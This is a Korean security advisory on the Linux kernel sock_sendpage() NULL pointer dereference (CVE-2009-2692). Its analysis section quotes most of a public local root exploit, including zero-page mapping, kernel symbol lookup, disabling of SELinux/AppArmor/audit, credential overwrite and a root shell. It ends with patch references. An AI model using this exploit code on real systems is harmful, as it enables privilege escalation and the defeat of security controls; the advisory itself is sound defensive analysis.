Linux Kernel ‘sock_sendpage()’
NULL Pointer Derefence 취약점 보안 권고안
By aramlee@a3security.com
(A.K.A InPure)
I. 취약점 개요
취약점 |
Linux Kernel ‘sock_sendpage()’ NULL Pointer Derefence |
A3SC Advisory ID |
A3AID09- |
위험 등급 |
긴급 |
최초 발표일 |
2009. 08. 13 |
문서 작성일 |
2009. 08. 27 |
벤더 |
|
현재상태(패치여부) |
패치 |
1. 요 약
2001년 5월 이후 발표된 대부분의 리눅스 배포판에서 로컬 권한 상승이 가능한 커널 취약점과 익스플로잇이 공개되어 Linux 커널 패치 또는 최신 커널 버전으로 업데이트를 권장합니다. 본 취약점은 ‘sock_sendpage()’ 함수에서 NULL 포인터를 참조하여 발생하며 익스플로잇은 로컬에서만 실행되나 원격지에서 로컬 쉘을 획득 가능한 경우가 많고 취약점의 위험도가 심각하여 리눅스 유저, 서버 관리자에게 주의를 요합니다.
2. 대상시스템
해당 취약점에 영향을 받는 시스템 목록은 아래와 같습니다.
Linux Kernel 2.6의 경우 2.6.0 – 2.6.30.4
Linux Kernel 2.4의 경우 2.4.4 – 2.4.37.4 |
3. 심각도 및 취약점 확인
취약점 영향 |
취약점 위험도 |
로컬 권한 상승 |
상 |
II. 취약점 세부 분석
1. 취약점 내용
본 취약점은 proto_ops 구조체가 올바르게 초기화되지 않은 상태에서 sock_sendpage() 함수에서 NULL 포인터를 참조하여 발생한 취약점입니다.
proto_ops 구조체는 각각의 네트워크 프로토콜이 특정한 시스템콜과 매핑되어 있으며, include/linux/net.h 에 정의되어 있습니다.
struct proto_ops {
int family;
struct module *owner;
int (*release)(struct socket *sock);
int (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
int (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
…
int (*mmap)(struct file *file, struct socket *sock, struct vm_area_struct * vma);
ssize_t (*sendpage) (struct socket *sock, struct page *page, int offset, size_t size, int flags);
ssize_t (*splice_read)(struct socket *sock, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags);
}; |
sock_sendpage() 함수는 다음과 같이 net/socket.c에 정의되어 있습니다. sock->ops->sendpage 함수 포인터를 검증하는 과정이 존재하지 않습니다.
static ssize_t sock_sendpage(struct file *file, struct page *page, int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
} |
한편, sock_splice_read() 함수는 sock_sendpage() 함수와 달리 NULL 체크 루틴이 존재하여 sock->ops->slice_read함수 포인터가 NULL이 아닐 경우에만 콜백(callback) 루틴을 호출합니다.
static ssize_t sock_splice_read(struct file *file, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags)
{
struct socket *sock = file->private_data;
if (unlikely(!sock->ops->splice_read))
return -EINVAL;
return sock->ops->splice_read(sock, ppos, pipe, len, flags);
} |
2. 공격 분석
다음은 Ubuntu 8.10(Linux Kernel 2.6.27-7-generic) 환경에서 해당 익스플로잇을 실행하는 화면입니다.
wunderbar_emporium.tgz 파일을 다운로드하여 압축을 풀면, ‘wunderbar_emporium.sh’, ‘exploit.c’, ‘pwnkernel.c’, 그리고 일반적인 avi 비디오 파일인 ‘tzameti.avi’ 등 4개의 파일이 생성됩니다. 해당 익스플로잇은 대상 시스템에 pulseaudio가 설치된 경우 정상적으로 실행됩니다.
exploit.c는 실제로 공격이 이루어지는 소스코드로, 다음은 exploit.c의 주요 소스코드를 분석하는 과정입니다.
다음은 main 함수의 소스코드입니다.
int main(void)
{
called_from_main = 1;
pa__init(NULL);
} |
main함수에서 호출하는 pa__init함수는 모듈로 실행되는 pulseaudio의 초기화 함수입니다.
다음은 pa__init함수의 첫 부분입니다.
int pa__init(void *m)
{
char *mem = NULL;
int d;
int ret;
our_uid = getuid();
if ((personality(0xffffffff)) != PER_SVR4) {
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {
/* for old kernels with SELinux that don't allow RWX anonymous mappings luckily they don't have NX support either ;) */
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {
fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
return 1;
}
}
} else {
ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
if (ret == -1) {
fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
return 1;
}
}
fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); |
Personality가 System V Release 4 이면 mprotect함수를 사용하여, System V Release 4가 아니면 mmap함수를 사용하여 제로 페이지를 매핑합니다.
selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
security_ops = (unsigned long *)get_kernel_sym("security_ops");
default_security_ops = get_kernel_sym("default_security_ops");
sel_read_enforce = get_kernel_sym("sel_read_enforce");
audit_enabled = (int *)get_kernel_sym("audit_enabled");
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred= (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); |
get_kernel_sym함수는 커널 심볼 테이블 파일인 /proc/kallsyms 혹은 /proc/ksyms 파일을 열어 인자로 넘긴 심볼의 주소를 리턴하는 함수입니다.
다음은 get_kernel_sym() 함수의 소스코드입니다.
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
return 0;
}
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
mem[0] = '\xff';
mem[1] = '\x25';
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
*(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel; |
NULL에 0xff과 NULL+1에 0x25를 대입한 후, 대상 시스템이 32비트 플랫폼이면 NULL+2에 0을, 64비트 아키텍쳐이면 NULL+2에 6을 대입합니다. NULL+6에는 own_the_kernel함수의 주소값을 대입합니다.
다음은 own_the_kernel 함수의 소스코드입니다.
static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
got_ring0 = 1;
if (audit_enabled)
*audit_enabled = 0;
// disable apparmor
if (apparmor_enabled && *apparmor_enabled) {
what_we_do = 1;
*apparmor_enabled = 0;
if (apparmor_audit)
*apparmor_audit = 0;
if (apparmor_logsyscall)
*apparmor_logsyscall = 0;
if (apparmor_complain)
*apparmor_complain = 0;
} |
Audit과 AppArmor를 체크하고 관련 포인터에 0을 셋팅하는 루틴입니다.
// disable SELinux
if (selinux_enforcing && *selinux_enforcing) {
what_we_do = 2;
*selinux_enforcing = 0;
}
if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
// trash LSM
if (default_security_ops && security_ops) {
if (*security_ops != default_security_ops)
what_we_do = 3;
*security_ops = default_security_ops;
}
} |
SELinux가 enable되어 관련 포인터를 0으로 셋팅하여 disable하는 루틴입니다.
/* make the idiots think selinux is enforcing */
if (sel_read_enforce) {
unsigned char *p;
unsigned long _cr0;
asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
_cr0 &= ~0x10000;
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
); |
CR0 레지스터 값을 받아 _cr0변수에 저장합니다.
if (sizeof(unsigned int) != sizeof(unsigned long)) {
/* 64bit version, look for the mov ecx, [rip+off]
and replace with mov ecx, 1
*/
for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
if (p[0] == 0x8b && p[1] == 0x0d) {
p[0] = '\xb9';
p[5] = '\x90';
*(unsigned int *)&p[1] = 1;
}
}
} else {
/* 32bit, replace push [selinux_enforcing] with push 1 */
for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
if (p[0] == 0xff && p[1] == 0x35) {
// while we're at it, disable
// SELinux without having a
// symbol for selinux_enforcing ;)
if (!selinux_enforcing) {
sel_enforce_ptr = *(unsigned int **)&p[2];
*sel_enforce_ptr = 0;
what_we_do = 2;
}
p[0] = '\x68';
p[5] = '\x90';
*(unsigned int *)&p[1] = 1;
}
}
} |
64비트 아키텍쳐인 경우 ‘mov ecx, [rip+off]’를 찾아 ‘mov ecx, 1’로 대체하고, 32비트 아키텍쳐인 경우 ‘sel_read_enforce’를 찾아 포인터의 위치를 ‘sel_read_enforce+0x20’까지 변경하면서 특정 바이트를 셋팅합니다.
_cr0 |= 0x10000;
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}
// push it real good
give_it_to_me_any_way_you_can();
return -1;
} |
‘_cr0’ 변수에 플래그 0×10000를 셋팅합니다. 0x10000은 X86_CR0_WP로 쓰기 보호 플래그이며. 프로세스 플래그는 arch/x86/include/asm/processor-flags.h에 정의되어 있습니다. 그 후, give_it_to_me_any_way_you_can() 함수를 호출합니다.
다음은 give_it_to_me_any_way_you_can() 함수의 소스코드입니다.
static void give_it_to_me_any_way_you_can(void)
{
if (commit_creds && prepare_kernel_cred) {
commit_creds(prepare_kernel_cred(0));
got_root = 1; |
Commit_creds변수와 prepare_kernel_cred변수가 셋팅되어 있으면 prepare_kernel_cred()함수와 commit_creds()함수를 사용하여 현 프로세스의 task_struct의 위치를 반환받아 해당 위치의 메모리를 0으로 변경하고, ‘got_root’플래그를 1로 셋팅합니다.
} else {
unsigned int *current;
unsigned long orig_current;
unsigned long orig_current_4k = 0;
if (sizeof(unsigned long) != sizeof(unsigned int))
orig_current = get_current_x64();
else {
orig_current = orig_current_4k = get_current_4k();
if (orig_current == 0)
orig_current = get_current_8k();
} |
대상 시스템의 플랫폼에 따라 각각 get_current_x64(), get_current_4k(), get_current_8k() 함수를 호출합니다.
다음은 get_current_x64(), get_current_4k(), get_current_8k() 함수의 소스코드입니다. 이 세 함수는 현 프로세스의 task_struct의 위치를 리턴합니다.
static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
#ifndef __x86_64__
asm volatile (
" movl %%esp, %0;"
: "=r" (current)
);
#endif
current = *(unsigned long *)(current & 0xfffff000);
if (current < 0xc0000000 || current > 0xfffff000)
return 0;
return current;
}
static inline unsigned long get_current_8k(void)
{
unsigned long current = 0;
#ifndef __x86_64__
asm volatile (
" movl %%esp, %0;"
: "=r" (current)
);
#endif
current &= 0xffffe000;
eightk_stack = 1;
if ((*(unsigned long *)current < 0xc0000000) || (*(unsigned long *)current > 0xfffff000)) {
twofourstyle = 1;
return current;
}
return *(unsigned long *)current;
}
static inline unsigned long get_current_x64(void)
{
unsigned long current = 0;
#ifdef __x86_64__
asm volatile (
"movq %%gs:(0), %0"
: "=r" (current)
);
#endif
return current;
} |
현 프로세스의 task_struct의 위치를 저장한 후, memset함수를 사용하여 해당 위치의 메모리를 0(root의 id값)으로 초기화합니다.
repeat:
current = (unsigned int *)orig_current;
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
if (orig_current == orig_current_4k) {
orig_current = get_current_8k();
goto repeat;
}
return;
}
got_root = 1;
memset(current, 0, sizeof(unsigned int) * 8);
}
return;
} |
다른 함수 분석이 길어졌는데, 다시 pa__init() 함수로 돌아옵니다.
/* trigger it */
{
char template[] = "/tmp/sendfile.XXXXXX";
int in, out;
// Setup source descriptor
if ((in = mkstemp(template)) < 0) {
fprintf(stdout, "failed to open input descriptor, %m\n");
return 1;
}
unlink(template); |
임시 파일을 생성한 후 삭제합니다.
#define DOMAINS_STOP -1
…
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
{PF_PPPOX, SOCK_DGRAM, 0 },
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
{DOMAINS_STOP, 0, 0 }
};
…
// Find a vulnerable domain
d = 0;
repeat_it:
for (; domains[d][0] != DOMAINS_STOP; d++) {
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
break;
}
if (out < 0) {
fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
return 1;
}
// Truncate input file to some large value
ftruncate(in, getpagesize());
// sendfile() to trigger the bug.
sendfile(out, in, NULL, getpagesize());
} |
exploit.c 파일을 열면 상단에 ‘domain’ 배열을 선언합니다. 이 배열에는 프로토콜 패밀리명이 저장되어있는데, 이 배열을 사용하여 소켓을 생성합니다. 그리고, 임시 파일을 페이지크기 만큼 자른 후, sendfile 시스템 콜을 호출합니다. 앞서 own_the_kernel() 함수에서 sock->ops->sendpage 콜백 함수의 위치를 NULL page로 셋팅하였으므로 버그가 생기게 됩니다.
if (got_ring0) {
fprintf(stdout, " [+] got ring0!\n");
} else {
d++;
goto repeat_it;
}
fprintf(stdout, " [+] detected %s %dk stacks\n",
twofourstyle ? "2.4 style" : "2.6 style",
eightk_stack ? 8 : 4);
extract_and_play_video(); |
앞의 과정이 실패한 경우 다른 프로토콜 패밀리 소켓을 생성하여 공격 코드를 다시 실행합니다. 그 후, extract_and_play_video() 함수를 호출합니다. extract_and_play_video()는 비디오파일을 mplayer를 사용하여 재생하고fseek()을 사용하여 그 위치를 검색하는 함수입니다.
다음 루틴은 ‘what_we_do’ 플래그를 확인하여 보안 모듈이 비활성화 되어있는지를 체크하는 루틴입니다.
{
char *msg;
switch (what_we_do) {
case 1:
msg = "AppArmor";
break;
case 2:
msg = "SELinux";
break;
case 3:
msg = "LSM";
break;
default:
msg = "nothing, what an insecure machine!";
}
fprintf(stdout, " [+] Disabled security of : %s\n", msg);
} |
다음은 pa__init() 함수의 마지막 부분입니다. 루트 권한으로 /bin/sh 프로세스를 실행하면서 공격은 끝이 납니다.
if (got_root == 1)
fprintf(stdout, " [+] Got root!\n");
else {
fprintf(stdout, " [+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?\n");
exit(0);
}
execl("/bin/sh", "/bin/sh", "-i", NULL);
return 0;
} |
3. 위험 분석
해당 취약점은 원격이 아닌 로컬에서만 적용되나 현재 거의 모든 리눅스 배포판에 취약점이 존재하고 관리자 권한을 획득 가능하여 위험도가 심각한 수준입니다.
III. 대응방안
1. 보안 대책
다음은 대표적인 Linux Vendor에서 발표한 패치입니다.
- Redhat
http://kbase.redhat.com/faq/docs/DOC-18065
- Ubuntu
http://www.ubuntu.com/usn/usn-819-1
- Debian
DSA-1862-1 linux-2.6 -- privilege escalation
http://www.debian.org/security/2009/dsa-1862
DSA-1864-1 linux-2.6.24 -- privilege escalation
http://www.debian.org/security/2009/dsa-1864
DSA-1865-1 linux-2.6 -- denial of service/privilege escalation
http://www.debian.org/security/2009/dsa-1865
다음은 Linux 최신 커널(Linux Kernel 2.6의 경우 Linux 2.6.31-rc6, Linux 2.4 커널인 경우 Linux 2.4.37.5 이상) 링크입니다.
http://kernel.org/pub/linux/kernel/v2.6/testing/patch-2.6.31-rc6.bz2
http://kernel.org/pub/linux/kernel/v2.4/patch-2.4.37.5.bz2
2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같습니다.
http://www.securityplus.or.kr/xe/?document_srl=10357#1
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html
http://namjja.egloos.com/5083569
http://nchovy.kr/forum/2/article/480
http://xorl.wordpress.com/2009/08/18/cve-2009-2692-linux-kernel-proto_ops-null-pointer-dereference/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.